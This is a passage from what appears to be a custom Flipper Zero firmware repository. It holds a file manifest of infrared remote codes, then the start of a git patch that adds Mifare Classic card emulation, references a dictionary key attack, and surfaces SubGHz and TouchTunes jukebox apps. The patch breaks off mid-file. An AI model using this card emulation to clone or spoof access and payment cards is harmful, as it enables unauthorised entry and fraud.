+F:4cd3068005a99593a1dac6085030b21a:24745:infrared/_CSV-IRDB_/Yamaha/Sound Projector/120,-1.ir +F:e372d67af6803f77aa4522a1ce7b5ee7:7585:infrared/_CSV-IRDB_/Yamaha/Sound Projector/126,-1.ir +F:df38ab5c616a33f388792080fc962412:7188:infrared/_CSV-IRDB_/Yamaha/Stereo Receiver/125,-1.ir +F:c9177f8f8690a77e13e84d59326cf708:2011:infrared/_CSV-IRDB_/Yamaha/Stereo Receiver/126,-1.ir +F:1ecf6bb901b5f38491e40a6f8812c4dc:1638:infrared/_CSV-IRDB_/Yamaha/Tuner/122,-1.ir +F:1a8ce8a02d4ce07f710deb4d59901b59:897:infrared/_CSV-IRDB_/Yamaha/Tuner/209,-1.ir +F:e30ee3b3e764a4750e0b67f11ac5d457:2879:infrared/_CSV-IRDB_/Yamaha/Unknown_DVD/69,-1.ir +F:92a4e989178fac70fc014e1d427ea7a1:4294:infrared/_CSV-IRDB_/Yamaha/Unknown_DVD-RC/32,-1.ir +F:1912d812800739fb362eb0447cee9913:2494:infrared/_CSV-IRDB_/Yamaha/Unknown_JVCDVD/239,-1.ir +F:54a7e0bbeaef7a64a40815bfc79169cb:3519:infrared/_CSV-IRDB_/Yamaha/Unknown_RAV-12/122,-1.ir +F:87670fc68c9fcd3085bbe35f1ae93918:3750:infrared/_CSV-IRDB_/Yamaha/Unknown_RAV14/122,-1.ir +F:596526f784a7946a5b67165e87e447fb:2787:infrared/_CSV-IRDB_/Yamaha/Unknown_RAV16/122,-1.ir +F:2cb45500fb52a4c62007d7256ea3b238:2492:infrared/_CSV-IRDB_/Yamaha/Unknown_RAV207/122,-1.ir +F:663d5e5edc6986bbf59b730d95c4c4b0:1877:infrared/_CSV-IRDB_/Yamaha/Unknown_RCX/122,-1.ir +F:86e572d8d73376f1d2414bb7d2da38ba:3104:infrared/_CSV-IRDB_/Yamaha/Unknown_RCX-750/122,-1.ir +F:0e7e8611c7feb04881b5f6ae294becdd:2731:infrared/_CSV-IRDB_/Yamaha/Unknown_RCX2/122,-1.ir +F:bef5d35114269d962baab79551a27471:4601:infrared/_CSV-IRDB_/Yamaha/Unknown_RCX660/122,-1.ir +F:ada639db0570a7f902d75ef99f94e945:2019:infrared/_CSV-IRDB_/Yamaha/Unknown_RS-CD5/121,-1.ir +F:1eab5a66323d4014e07b9d61e691b848:890:infrared/_CSV-IRDB_/Yamaha/Unknown_RS-CX600/122,-1.ir +F:20167dec9ace718c07c753f1c1b9f1ea:1034:infrared/_CSV-IRDB_/Yamaha/Unknown_RS-K3/127,-1.ir +F:72a21cfb34895a897ff29bda5f02c6e2:1000:infrared/_CSV-IRDB_/Yamaha/Unknown_RX-450/122,-1.ir +F:2c7d69d378626916aaf1753e80db4790:3180:infrared/_CSV-IRDB_/Yamaha/Unknown_RX-CX800/122,-1.ir +F:855fe3f03dcf62b369ff129fe1b2b57e:4550:infrared/_CSV-IRDB_/Yamaha/Unknown_RX-V850/122,-1.ir +F:0f214cae5f7fab23a5190b80562110da:900:infrared/_CSV-IRDB_/Yamaha/Unknown_TX-1000/209,-1.ir +F:920bde670111f45f1db9e2d53b0ab517:2638:infrared/_CSV-IRDB_/Yamaha/Unknown_V499920/122,-1.ir +F:ea0b3ba4cb83e97ea0ce62384429ad7e:871:infrared/_CSV-IRDB_/Yamaha/Unknown_VI47320/209,-1.ir +F:c99244799499747b000d34bbc609bd04:2602:infrared/_CSV-IRDB_/Yamaha/Unknown_VI77760/127,-1.ir +F:b68ec6a5e70c6b3b3ee883f05b36c2b8:1843:infrared/_CSV-IRDB_/Yamaha/Unknown_VJ59810/121,-1.ir +F:28380e768cd241a96b049b8bca591273:2820:infrared/_CSV-IRDB_/Yamaha/Unknown_VJI5420/121,-1.ir +F:afcde00c3929a84f81c6c358774222ad:1916:infrared/_CSV-IRDB_/Yamaha/Unknown_VK34080/121,-1.ir +F:4defc95582c66ac1fbf70ca487676aaa:3107:infrared/_CSV-IRDB_/Yamaha/Unknown_VK38010/122,-1.ir +F:f23dd64f91d3f49e190b8272c3c9e69b:4982:infrared/_CSV-IRDB_/Yamaha/Unknown_VM70300/122,-1.ir +F:372892f4f11d8710919e04815dbcd9f3:3063:infrared/_CSV-IRDB_/Yamaha/Unknown_VP59040/122,-1.ir +F:0a79c076b6ad140a68f572abda687b11:2847:infrared/_CSV-IRDB_/Yamaha/Unknown_VQ95010/121,-1.ir +F:ac7e6b70f8069b7c1ca5a4b0399c72c2:1842:infrared/_CSV-IRDB_/Yamaha/Unknown_VR81350/123,-1.ir +F:4f3026baad71190434a3aeb3eb09d434:2892:infrared/_CSV-IRDB_/Yamaha/Unknown_VU71330/121,-1.ir +F:ae37b67553bd803ae3fa7872265b64f5:1549:infrared/_CSV-IRDB_/Yamaha/Unknown_Y-TV-1004/4,-1.ir +F:6f36d4bfe625fa1241528305144ad3c3:3229:infrared/_CSV-IRDB_/Yamaha/Unknown_YAMAHA/122,-1.ir +F:3701b0f94990e70063a08f208070cf78:3831:infrared/_CSV-IRDB_/Yamaha/Unknown_av/122,-1.ir +F:d7409ce84e44190d415e54d5d887c5ad:3048:infrared/_CSV-IRDB_/Yamaha/Unknown_cdx-493/121,-1.ir +F:2e5c77166fb1fdd991b29daf16860052:2616:infrared/_CSV-IRDB_/Yamaha/Unknown_rax9/122,-1.ir +F:a4f8eeceea3ac209e882df0a88cebdf5:1676:infrared/_CSV-IRDB_/Yamaha/Unknown_receiver/122,-1.ir +F:413e96f5c819a76910a7a72b3016482c:4311:infrared/_CSV-IRDB_/Yamaha/Unknown_vu50620/120,-1.ir +F:6df88c2aeb005c2ae8d3bba08914a4d6:3865:infrared/_CSV-IRDB_/Yamaha/Unknown_yamaha-amp/122,-1.ir +F:fc684d7383187784f568c6480cf1b528:2729:infrared/_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7/122,-1.ir +F:91ebcd6d01790495ba5ba6f520112432:2507:infrared/_CSV-IRDB_/Yamaha/Video Projector/209,-1.ir +F:900fc3085dd2afdd5a4a016f9f5cd61d:1151:infrared/_CSV-IRDB_/Yamaha/iPod Dock/127,1.ir +D:infrared/_CSV-IRDB_/Yamakawa/DVD Player +D:infrared/_CSV-IRDB_/Yamakawa/Unknown_dvd285vga +F:954512edca80e3f84e1c9383e06ca205:4040:infrared/_CSV-IRDB_/Yamakawa/DVD Player/32,-1.ir +F:a886ac78e73c7b3bd97a9f190333fe15:4204:infrared/_CSV-IRDB_/Yamakawa/Unknown_dvd285vga/32,-1.ir +D:infrared/_CSV-IRDB_/Yuan/Unknown_SmartVDO +F:2ba61db41ff8b5fbc4d471b318e8e05a:3587:infrared/_CSV-IRDB_/Yuan/Unknown_SmartVDO/128,-1.ir +D:infrared/_CSV-IRDB_/Zalman/Unknown_HD160XT +F:6d6460b034a80cb73792f7746087a161:4105:infrared/_CSV-IRDB_/Zalman/Unknown_HD160XT/115,154.ir +D:infrared/_CSV-IRDB_/Zehnder/Unknown_VCR +F:b56551a5617153b0937466e77aae9bd7:2371:infrared/_CSV-IRDB_/Zehnder/Unknown_VCR/3,-1.ir +D:infrared/_CSV-IRDB_/Zenith/TV +D:infrared/_CSV-IRDB_/Zenith/Unknown_AKB36157102 +D:infrared/_CSV-IRDB_/Zenith/Unknown_C32V37 +D:infrared/_CSV-IRDB_/Zenith/Unknown_TV +D:infrared/_CSV-IRDB_/Zenith/Unknown_VCR +D:infrared/_CSV-IRDB_/Zenith/Unknown_ZN5015 +D:infrared/_CSV-IRDB_/Zenith/VCR +D:infrared/_CSV-IRDB_/Zenith/Video Projector +F:7dd3ac4a410f0df292f668c53bbc4496:3539:infrared/_CSV-IRDB_/Zenith/TV/5,1.ir +F:8d6949659dbfaa5264100ef105cdcaef:787:infrared/_CSV-IRDB_/Zenith/TV/7,0.ir +F:fed188f7c60393e4fefa35c328e48a63:237:infrared/_CSV-IRDB_/Zenith/TV/7,1.ir +F:96d55c904b0998d27fbe3f0074f5bd2d:3625:infrared/_CSV-IRDB_/Zenith/Unknown_AKB36157102/247,-1.ir +F:b8e36fcb12cc1114ad4e0e57d6a48c1e:3980:infrared/_CSV-IRDB_/Zenith/Unknown_C32V37/4,-1.ir +F:16daa0aa841a4b8c7c705a62867c08a7:1744:infrared/_CSV-IRDB_/Zenith/Unknown_TV/4,-1.ir +F:448baf640625a3f6446df400de0cd935:1935:infrared/_CSV-IRDB_/Zenith/Unknown_VCR/2,-1.ir +F:38c482e3af4c18642864305c0fcc8d79:3071:infrared/_CSV-IRDB_/Zenith/Unknown_ZN5015/26,154.ir +F:1a414a7ea4149bb30b86fecd66f28798:2816:infrared/_CSV-IRDB_/Zenith/VCR/7,0.ir +F:12f4e2524c0c6b4af47d809217214aba:1844:infrared/_CSV-IRDB_/Zenith/Video Projector/5,1.ir +F:3456a40ab6c04cbb69e6021c776c3a03:1349:infrared/_CSV-IRDB_/Zenith/Video Projector/6,0.ir +D:infrared/_CSV-IRDB_/Zephir/ZDEBT2 +F:7462d888c691db9d8b944e8853c3634e:4011:infrared/_CSV-IRDB_/Zephir/ZDEBT2/0,191.ir +D:infrared/_CSV-IRDB_/Zinwell/Satellite Receiver +F:a9753a4a06710a17e1e3db23ea5edd95:2419:infrared/_CSV-IRDB_/Zinwell/Satellite Receiver/64,223.ir +D:infrared/_CSV-IRDB_/Zolid/Unknown_ZOL100 +F:db970ddf36f6f7b222fa4ef6bd0570cf:2344:infrared/_CSV-IRDB_/Zolid/Unknown_ZOL100/0,239.ir +D:infrared/_CSV-IRDB_/Zoltrix/Unknown_Zoltrix +F:662833326e8756646c353ac9f758a6e3:2029:infrared/_CSV-IRDB_/Zoltrix/Unknown_Zoltrix/0,252.ir +D:infrared/_CSV-IRDB_/Zyxel/Unknown_DMA-1000 +F:35ab80fe8e3c6384dffbc2c6c5e188e6:4483:infrared/_CSV-IRDB_/Zyxel/Unknown_DMA-1000/8,230.ir +D:infrared/_CSV-IRDB_/anysee/Unknown_anysee +F:7f3b839b0119f2d2a7e2579053026d52:4213:infrared/_CSV-IRDB_/anysee/Unknown_anysee/8,-1.ir +D:infrared/_CSV-IRDB_/audiosonic/Unknown_TXCD-1240 +F:3e0024ad0ed70fba4b0ab925084e831d:1475:infrared/_CSV-IRDB_/audiosonic/Unknown_TXCD-1240/129,129.ir +D:infrared/_CSV-IRDB_/cenOmax/Unknown_F702 +F:075f46df609ec986a82a19d906195da4:1005:infrared/_CSV-IRDB_/cenOmax/Unknown_F702/2,255.ir +D:infrared/_CSV-IRDB_/daytron/Unknown_daytron +F:4b3b3e6a8cb583371a801dfab183887d:1092:infrared/_CSV-IRDB_/daytron/Unknown_daytron/4,-1.ir +D:infrared/_CSV-IRDB_/dual/Unknown_dual +F:c75fa9030059014ee9387014e5338687:2650:infrared/_CSV-IRDB_/dual/Unknown_dual/68,-1.ir +D:infrared/_CSV-IRDB_/eltax/Unknown_corniche +F:5f679828ffea7b0624402c8ae5732d97:4468:infrared/_CSV-IRDB_/eltax/Unknown_corniche/0,246.ir +D:infrared/_CSV-IRDB_/fenner/Unknown_fenner +F:09cb44269596b773f1955a501d892aa7:2648:infrared/_CSV-IRDB_/fenner/Unknown_fenner/95,0.ir +D:infrared/_CSV-IRDB_/huth/Unknown_prof +F:bf9aba6a782912d25e70dd89ccd3ce95:2937:infrared/_CSV-IRDB_/huth/Unknown_prof/15,1.ir +D:infrared/_CSV-IRDB_/iPort/MP3 Player +D:infrared/_CSV-IRDB_/iPort/iPod +D:infrared/_CSV-IRDB_/iPort/iPort +F:240e54f6380dfa0c47dfbaa0869286df:2633:infrared/_CSV-IRDB_/iPort/MP3 Player/1,222.ir +F:10cda0371887f3f80e649cd68a49f669:2636:infrared/_CSV-IRDB_/iPort/iPod/1,222.ir +F:7f9581592286b881d39a22fa45b13611:2531:infrared/_CSV-IRDB_/iPort/iPort/1,222.ir +D:infrared/_CSV-IRDB_/imon/Unknown_MultiMedian +F:19100580a3d00d4d16a12cd5c106e882:4318:infrared/_CSV-IRDB_/imon/Unknown_MultiMedian/6,-1.ir +D:infrared/_CSV-IRDB_/ione/Unknown_remote +F:0370a53d21fe85eb0155408afa069594:3976:infrared/_CSV-IRDB_/ione/Unknown_remote/0,-1.ir +D:infrared/_CSV-IRDB_/italtel/Unknown_italtel +F:b27d25ebfbc1f98eb48d74e714b53449:2699:infrared/_CSV-IRDB_/italtel/Unknown_italtel/1,-1.ir +D:infrared/_CSV-IRDB_/kendo/Unknown_RC-610 +F:221bbc4f6a1f4df1d340e8686a02dbbe:2689:infrared/_CSV-IRDB_/kendo/Unknown_RC-610/134,124.ir +D:infrared/_CSV-IRDB_/konig/Unknown_konig +F:fbddf74ce853e8d2ce745faec30f07df:4100:infrared/_CSV-IRDB_/konig/Unknown_konig/128,99.ir +D:infrared/_CSV-IRDB_/kosmos/Unknown_kosmos +F:350a9129e6896ac07c3be2210263b01c:1975:infrared/_CSV-IRDB_/kosmos/Unknown_kosmos/8,-1.ir +D:infrared/_CSV-IRDB_/mStation/Unknown_mStation +F:79abf19803f663d53e0ca6fb94596500:1186:infrared/_CSV-IRDB_/mStation/Unknown_mStation/64,175.ir +D:infrared/_CSV-IRDB_/media-tech/Unknown_RUMBA +F:7f7b0dae20ce8d32fb7ceb29f262f62c:1804:infrared/_CSV-IRDB_/media-tech/Unknown_RUMBA/128,-1.ir +D:infrared/_CSV-IRDB_/mivar/Unknown_mivar +F:ff8ee1729eb53f98acb1d9ab36593b1b:2819:infrared/_CSV-IRDB_/mivar/Unknown_mivar/7,-1.ir +D:infrared/_CSV-IRDB_/multiTEC/Unknown_multiTEC +F:0925458acbf89b7ec8cb6f9dd33d912d:2471:infrared/_CSV-IRDB_/multiTEC/Unknown_multiTEC/7,-1.ir +D:infrared/_CSV-IRDB_/oceanic/Unknown_oceanic +F:b6e42f0f3c065215fc0bf803ef773b55:1823:infrared/_CSV-IRDB_/oceanic/Unknown_oceanic/1,-1.ir +D:infrared/_CSV-IRDB_/orion/Unknown_RC-CB +D:infrared/_CSV-IRDB_/orion/Unknown_TV-713 +D:infrared/_CSV-IRDB_/orion/Unknown_orion +D:infrared/_CSV-IRDB_/orion/Unknown_orion-RC57 +F:8621a29250201ca0976f844b30e56713:2698:infrared/_CSV-IRDB_/orion/Unknown_RC-CB/128,88.ir +F:123b0a531c00cf01fedbbfc337164756:3740:infrared/_CSV-IRDB_/orion/Unknown_TV-713/0,-1.ir +F:92c65e6a13733bc75051c54be73f6caa:3445:infrared/_CSV-IRDB_/orion/Unknown_orion/128,123.ir +F:771f6246ffec092d5ab2b5aefa5d2674:712:infrared/_CSV-IRDB_/orion/Unknown_orion-RC57/128,126.ir +D:infrared/_CSV-IRDB_/palmbutler/Unknown_palmbutler +F:bdbf22501b165ab181b748357436573a:3755:infrared/_CSV-IRDB_/palmbutler/Unknown_palmbutler/7,-1.ir +D:infrared/_CSV-IRDB_/remotec/Unknown_TV +D:infrared/_CSV-IRDB_/remotec/Unknown_remotec +D:infrared/_CSV-IRDB_/remotec/Unknown_remotec1072 +D:infrared/_CSV-IRDB_/remotec/Unknown_rm200 +F:2b7e771a2543e7717adb41b86b574715:2369:infrared/_CSV-IRDB_/remotec/Unknown_TV/0,-1.ir +F:de979f2147d776bca16ee1da68000d22:2380:infrared/_CSV-IRDB_/remotec/Unknown_remotec/0,-1.ir +F:78d8a4acad00e39ff00c110b19f5bc68:2201:infrared/_CSV-IRDB_/remotec/Unknown_remotec1072/5,-1.ir +F:d0ee76b9eee1c3cab9b711a168352a17:2208:infrared/_CSV-IRDB_/remotec/Unknown_rm200/1,-1.ir +D:infrared/_CSV-IRDB_/roadstar/Unknown_dvd +F:2d9a2042304adc4f44e71825dca2b804:3831:infrared/_CSV-IRDB_/roadstar/Unknown_dvd/136,-1.ir +D:infrared/_CSV-IRDB_/rubin/Unknown_rubin +F:0ef3c735c4c32ff278498a35ce7d78c3:3538:infrared/_CSV-IRDB_/rubin/Unknown_rubin/0,-1.ir +D:infrared/_CSV-IRDB_/starhub/Unknown_starhub +F:399cf652ea811bb167da1d3833e0601c:3932:infrared/_CSV-IRDB_/starhub/Unknown_starhub/33,144.ir +D:infrared/_CSV-IRDB_/sun/Unknown_sun +F:eeb991ce8733c7ee0c4e17b3b5468d97:2005:infrared/_CSV-IRDB_/sun/Unknown_sun/26,9.ir +D:infrared/_CSV-IRDB_/trio/Unknown_xms007 +F:212ad24982e747e237604c8e95b1cd8d:2785:infrared/_CSV-IRDB_/trio/Unknown_xms007/8,-1.ir +D:infrared/_CSV-IRDB_/universum/SAT +D:infrared/_CSV-IRDB_/universum/SAT_SR420 +D:infrared/_CSV-IRDB_/universum/Unknown_universum +D:infrared/_CSV-IRDB_/universum/VCR +D:infrared/_CSV-IRDB_/universum/VCR_VR743A +F:a2539ffcb0c12c68a7e83287b476bc46:1889:infrared/_CSV-IRDB_/universum/SAT/97,135.ir +F:da49a9494d0ab943bc40e1081d9e2ff5:2776:infrared/_CSV-IRDB_/universum/SAT_SR420/15,-1.ir +F:f24ccf8d4def6bbdd983192faa90e9a1:4987:infrared/_CSV-IRDB_/universum/Unknown_universum/0,-1.ir +F:a7109de7f7ddcb24df239af1d3b881f3:4149:infrared/_CSV-IRDB_/universum/Unknown_universum/16,16.ir +F:474b50c7d905b21449a05f292e84727b:4220:infrared/_CSV-IRDB_/universum/VCR/128,123.ir +F:d16ced6e42dca34f58c2208c4941cdd4:2761:infrared/_CSV-IRDB_/universum/VCR_VR743A/5,-1.ir +D:infrared/_CSV-IRDB_/videologic/Unknown_rm201 +F:ef8999c17e52923aa68ebb3f36b9bad2:1280:infrared/_CSV-IRDB_/videologic/Unknown_rm201/134,107.ir +D:infrared/_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro +F:bad31bc3283b66edaf096481238f481d:3225:infrared/_CSV-IRDB_/viewmaxpro/Unknown_viewmaxpro/32,64.ir +D:infrared/_CSV-IRDB_/xsat/Unknown_xsat +F:0c450c6730d514acaec1636f65b470cc:3435:infrared/_CSV-IRDB_/xsat/Unknown_xsat/34,-1.ir F:d895fda2f48c6cc4c55e8a398ff52e43:74300:infrared/assets/tv.ir F:a157a80f5a668700403d870c23b9567d:470:music_player/Marble_Machine.fmf D:nfc/assets From 4760c1c5ce0a0f3ac622b6b9b6eb09be1d43636b Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Wed, 18 May 2022 17:23:59 +0300 Subject: [PATCH 172/461] fetch wplugins --- applications/applications.c | 32 ++-- applications/nfc/nfc_worker.c | 23 +++ applications/nfc/nfc_worker.h | 1 + applications/nfc/scenes/nfc_scene_config.h | 1 + .../scenes/nfc_scene_emulate_mifare_classic.c | 64 +++++++ .../nfc/scenes/nfc_scene_saved_menu.c | 12 +- assets/compiled/assets_icons.c | 74 ++++---- assets/compiled/assets_icons.h | 1 + .../TouchTunes_14/frame_00_delay-0.04s.png | Bin 0 -> 470 bytes .../TouchTunes_14/frame_01_delay-0.04s.png | Bin 0 -> 411 bytes .../TouchTunes_14/frame_02_delay-0.04s.png | Bin 0 -> 411 bytes .../TouchTunes_14/frame_03_delay-0.04s.png | Bin 0 -> 411 bytes .../TouchTunes_14/frame_04_delay-0.04s.png | Bin 0 -> 401 bytes .../TouchTunes_14/frame_05_delay-0.04s.png | Bin 0 -> 397 bytes .../TouchTunes_14/frame_06_delay-0.04s.png | Bin 0 -> 400 bytes .../TouchTunes_14/frame_07_delay-0.04s.png | Bin 0 -> 404 bytes .../TouchTunes_14/frame_08_delay-0.04s.png | Bin 0 -> 414 bytes .../TouchTunes_14/frame_09_delay-0.04s.png | Bin 0 -> 427 bytes .../TouchTunes_14/frame_10_delay-0.04s.png | Bin 0 -> 427 bytes .../TouchTunes_14/frame_11_delay-0.04s.png | Bin 0 -> 426 bytes .../TouchTunes_14/frame_12_delay-0.04s.png | Bin 0 -> 431 bytes .../TouchTunes_14/frame_13_delay-0.04s.png | Bin 0 -> 424 bytes .../TouchTunes_14/frame_14_delay-0.04s.png | Bin 0 -> 424 bytes .../TouchTunes_14/frame_15_delay-0.04s.png | Bin 0 -> 424 bytes .../TouchTunes_14/frame_16_delay-0.04s.png | Bin 0 -> 424 bytes .../TouchTunes_14/frame_17_delay-0.04s.png | Bin 0 -> 426 bytes .../TouchTunes_14/frame_18_delay-0.04s.png | Bin 0 -> 418 bytes .../TouchTunes_14/frame_19_delay-0.04s.png | Bin 0 -> 419 bytes .../TouchTunes_14/frame_20_delay-0.04s.png | Bin 0 -> 425 bytes .../TouchTunes_14/frame_21_delay-0.04s.png | Bin 0 -> 415 bytes .../TouchTunes_14/frame_22_delay-0.04s.png | Bin 0 -> 405 bytes .../TouchTunes_14/frame_23_delay-0.04s.png | Bin 0 -> 394 bytes .../TouchTunes_14/frame_24_delay-0.04s.png | Bin 0 -> 401 bytes .../TouchTunes_14/frame_25_delay-0.04s.png | Bin 0 -> 401 bytes .../TouchTunes_14/frame_26_delay-0.04s.png | Bin 0 -> 404 bytes .../TouchTunes_14/frame_27_delay-0.04s.png | Bin 0 -> 410 bytes .../TouchTunes_14/frame_28_delay-0.04s.png | Bin 0 -> 411 bytes .../TouchTunes_14/frame_29_delay-0.04s.png | Bin 0 -> 411 bytes .../icons/MainMenu/TouchTunes_14/frame_rate | 1 + .../MainMenu/UniversalRemote_14/frame_1.png | Bin 0 -> 170 bytes .../MainMenu/UniversalRemote_14/frame_2.png | Bin 0 -> 165 bytes .../MainMenu/UniversalRemote_14/frame_3.png | Bin 0 -> 171 bytes .../MainMenu/UniversalRemote_14/frame_4.png | Bin 0 -> 168 bytes .../MainMenu/UniversalRemote_14/frame_5.png | Bin 0 -> 169 bytes .../MainMenu/UniversalRemote_14/frame_6.png | Bin 0 -> 165 bytes .../MainMenu/UniversalRemote_14/frame_7.png | Bin 0 -> 166 bytes firmware/targets/f7/furi_hal/furi_hal_nfc.c | 89 ++++++++- .../targets/furi_hal_include/furi_hal_nfc.h | 5 + lib/digital_signal/digital_signal.c | 173 ++++++++++++++++++ lib/digital_signal/digital_signal.h | 28 +++ lib/lib.mk | 5 + lib/nfc_protocols/crypto1.c | 2 +- lib/nfc_protocols/crypto1.h | 2 +- lib/nfc_protocols/mifare_classic.c | 115 ++++++++++++ lib/nfc_protocols/mifare_classic.h | 8 + lib/nfc_protocols/nfca.c | 72 ++++++++ lib/nfc_protocols/nfca.h | 14 ++ 57 files changed, 664 insertions(+), 58 deletions(-) create mode 100644 applications/nfc/scenes/nfc_scene_emulate_mifare_classic.c create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_00_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_01_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_02_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_03_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_04_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_05_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_06_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_07_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_08_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_09_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_10_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_11_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_12_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_13_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_14_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_15_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_16_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_17_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_18_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_19_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_20_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_21_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_22_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_23_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_24_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_25_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_26_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_27_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_28_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_29_delay-0.04s.png create mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_rate create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_1.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_2.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_3.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_4.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_5.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_6.png create mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_7.png create mode 100644 lib/digital_signal/digital_signal.c create mode 100644 lib/digital_signal/digital_signal.h diff --git a/applications/applications.c b/applications/applications.c index a4e81a88d..e1e58c327 100644 --- a/applications/applications.c +++ b/applications/applications.c @@ -230,6 +230,22 @@ const FlipperApplication FLIPPER_APPS[] = { .flags = FlipperApplicationFlagDefault}, #endif +#ifdef APP_UNIVERSALRF + {.app = universal_rf_remote_app, + .name = "Universal SubGHz", + .stack_size = 2048, + .icon = &A_UniversalRemote_14, + .flags = FlipperApplicationFlagDefault}, +#endif + +#ifdef APP_JUKEBOX + {.app = jukebox_app, + .name = "Jukebox", + .stack_size = 2048, + .icon = &A_TouchTunes_14, + .flags = FlipperApplicationFlagDefault}, +#endif + #ifdef APP_LF_RFID {.app = lfrfid_app, .name = "125 kHz RFID", @@ -358,14 +374,6 @@ const FlipperApplication FLIPPER_PLUGINS[] = { }, #endif -#ifdef APP_JUKEBOX - {.app = jukebox_app, - .name = "Jukebox", - .stack_size = 2048, - .icon = &A_UniversalRemote_14, - .flags = FlipperApplicationFlagDefault}, -#endif - #ifdef APP_MUSIC_PLAYER {.app = music_player_app, .name = "Music Player", @@ -394,14 +402,6 @@ const FlipperApplication FLIPPER_PLUGINS[] = { {.app = tetris_game_app, .name = "Tetris Game", .stack_size = 1024, .icon = NULL}, #endif -#ifdef APP_UNIVERSALRF - {.app = universal_rf_remote_app, - .name = "Universal SubGHz", - .stack_size = 2048, - .icon = &A_UniversalRemote_14, - .flags = FlipperApplicationFlagDefault}, -#endif - {.app = wav_player_app, .name = "Wav Player", .stack_size = 4096, diff --git a/applications/nfc/nfc_worker.c b/applications/nfc/nfc_worker.c index 6b3c8f092..9016763df 100644 --- a/applications/nfc/nfc_worker.c +++ b/applications/nfc/nfc_worker.c @@ -7,6 +7,7 @@ #include #include #include +#include #include "helpers/nfc_mf_classic_dict.h" @@ -104,6 +105,8 @@ int32_t nfc_worker_task(void* context) { nfc_worker_emulate_mifare_ul(nfc_worker); } else if(nfc_worker->state == NfcWorkerStateReadMifareClassic) { nfc_worker_mifare_classic_dict_attack(nfc_worker); + } else if(nfc_worker->state == NfcWorkerStateEmulateMifareClassic) { + nfc_worker_emulate_mifare_classic(nfc_worker); } else if(nfc_worker->state == NfcWorkerStateReadMifareDesfire) { nfc_worker_read_mifare_desfire(nfc_worker); } @@ -474,6 +477,26 @@ void nfc_worker_mifare_classic_dict_attack(NfcWorker* nfc_worker) { stream_free(nfc_worker->dict_stream); } +void nfc_worker_emulate_mifare_classic(NfcWorker* nfc_worker) { + FuriHalNfcTxRxContext tx_rx; + FuriHalNfcDevData* nfc_data = &nfc_worker->dev_data->nfc_data; + MfClassicEmulator emulator = { + .cuid = nfc_util_bytes2num(&nfc_data->uid[nfc_data->uid_len - 4], 4), + .data = nfc_worker->dev_data->mf_classic_data, + }; + NfcaSignal* nfca_signal = nfca_signal_alloc(); + tx_rx.nfca_signal = nfca_signal; + + while(nfc_worker->state == NfcWorkerStateEmulateMifareClassic) { + if(furi_hal_nfc_listen( + nfc_data->uid, nfc_data->uid_len, nfc_data->atqa, nfc_data->sak, true, 4000)) { + mf_classic_emulator(&emulator, &tx_rx); + } + } + + nfca_signal_free(nfca_signal); +} + void nfc_worker_read_mifare_desfire(NfcWorker* nfc_worker) { ReturnCode err; uint8_t tx_buff[64] = {}; diff --git a/applications/nfc/nfc_worker.h b/applications/nfc/nfc_worker.h index 1933a79b7..a68f42d72 100755 --- a/applications/nfc/nfc_worker.h +++ b/applications/nfc/nfc_worker.h @@ -19,6 +19,7 @@ typedef enum { NfcWorkerStateReadMifareUltralight, NfcWorkerStateEmulateMifareUltralight, NfcWorkerStateReadMifareClassic, + NfcWorkerStateEmulateMifareClassic, NfcWorkerStateReadMifareDesfire, // Transition NfcWorkerStateStop, diff --git a/applications/nfc/scenes/nfc_scene_config.h b/applications/nfc/scenes/nfc_scene_config.h index 6b5d5d10c..45e78aed2 100755 --- a/applications/nfc/scenes/nfc_scene_config.h +++ b/applications/nfc/scenes/nfc_scene_config.h @@ -34,4 +34,5 @@ ADD_SCENE(nfc, restore_original, RestoreOriginal) ADD_SCENE(nfc, debug, Debug) ADD_SCENE(nfc, field, 